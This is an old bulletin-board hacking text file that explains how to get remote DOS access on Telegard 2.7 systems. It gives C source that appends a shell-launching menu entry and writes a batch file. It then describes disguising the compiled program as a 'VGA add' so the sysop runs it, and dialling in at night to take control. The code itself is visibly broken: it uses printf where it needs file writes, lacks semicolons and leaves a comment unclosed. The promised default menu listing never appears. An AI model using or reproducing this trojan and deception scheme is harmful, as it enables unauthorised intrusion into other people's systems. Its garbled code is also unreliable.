   How to properly and easily access DOS through Telegard 2.7
   ----------------------------------------------------------
   
   Well we all know the weakest side of Telegard, don't we?  The 
whole menu system can be easily accessed and worked with in order
to perform simple access into Dos.  If you just take a look at a
Telegard menus found in the \telegard\menus\ directory (or which-
ever directory they are located in), you will see that they are 
all formed pretty easily by listing the commands used in the menu 
in order. Here is the personal menu used in Telegard, I will go 
about instructing you on how to modify this menu and easily access
DOS.  Here is the default setting for the PERSONAL.MNU:

NOTE:
-----
*** This is exactly how it appears in Telegard 2.7 without ***
*** modification.                                          ***

   Our main objective regarding this file is accessing it, modify-
ing it, and then accessing DOS remotely.  I have constructed in C++
a program or utility to do so.  I will explain the source as we go 
along:

/* Compiler Directives */

#include<stdlib.h>
#include<stdio.h>

  main ()
  {
/* Define Files */
    
    FILE *per_mnu
    FILE *run_me 

/* Open File (PERSONAL.MNU) */
    
    per_mnu = fopen( "c:\telegard\menus\personal.mnu", "a" );
    
/* If the file isn't found abort */  
      
      if ( NULL == per_mnu ) abort()

/* Write to the file if it exists */         

         printf("[/E]nter DOS");
         printf("[/E]nter DOS");
         printf("/E");
         printf("s10");
         printf("-$");
         printf("SYSOP;PW?:;No, the PW is SYSOP!");
         printf("H");
         printf("");
         printf("[/E]nter DOS");
         printf("[/E]nter DOS");
         printf("/E");
         printf("s10");
         printf("D-");
         printf("c:\telegard\runme.bat");
         printf("H");
    
/* Closes file (PERSONAL.MNU)    
    
    fclose( per_mnu );

/* In order to access do you need to have a file that does    
   the same as REMOTE.BAT.  Since we are not sure if the sys-
   op has deleted the REMOTE.BAT file for security reasons we
   must create one which does the same thing as the REMOTE.BAT
   file.
*/
    
/* Open File (RUNME.BAT) */    
    
    run_me = fopen( "c:\telegard\runme.bat", "w");
      
/* Write to RUNME.BAT */         
         
         printf("prompt $t$_$p$g$");  
         printf("command");
         printf("ctty con");
         printf("c:");
         printf("cd\");
         printf("cd\telegard\");
         printf("exit");
    
/* Close file (RUNME.BAT) */    

    fclose( run_me );       

   This program writes to the bottom of PERSONAL.MNU and lets  
anyone with access higher than 10 access the lame sysops DOS.
You can compile this in Borland C++ and rename the exe to some-
thing like VGA_ADD.EXE and tell the sysop that you made a really
cool VGA add for his board and he should check it out at once. 
He will run it, nothing will happen, and he will E-Mail you back 
telling you that your add didn't work and that you should re-pro-
gram it... You call at 3 AM in the morning or even at 10 PM (if 
thats passed the idiotic sysops bedtime <VBG>) and access DOS and 
do whatever you want.  Well I hope this article somewhat scares
Telegard sysops and teaches them to have more security.  If you
run Telegard 2.7 and would still like to keep it, I suggest you 
rename your MENUS directory to something that no one could guess.
The only catch to this C++ program is that you must know what dir-
ectory the sysop has his menus in.  It should not be to hard to 
figure out. 

   One way to figure out where the sysops menu files are stored is 
by saying at the File Menu "!".  Usually that is file area stats and
it will usually tell you what directory the files in that area are 
stored.  It might be something like c:\tg\utilfile\.  You can conclude
from that, that the menus are probably are in c:\tg\menus\ directory.
Once you know the directory the menus are in you modify it in the C++
program supplied and compile it.  You should have no errors in the 
compilation of the C program.  Well I hope I helped someone out there
with Telegard, whether it be warning a SysOp or whatever. Watch out 
Telegard can be deadly!!
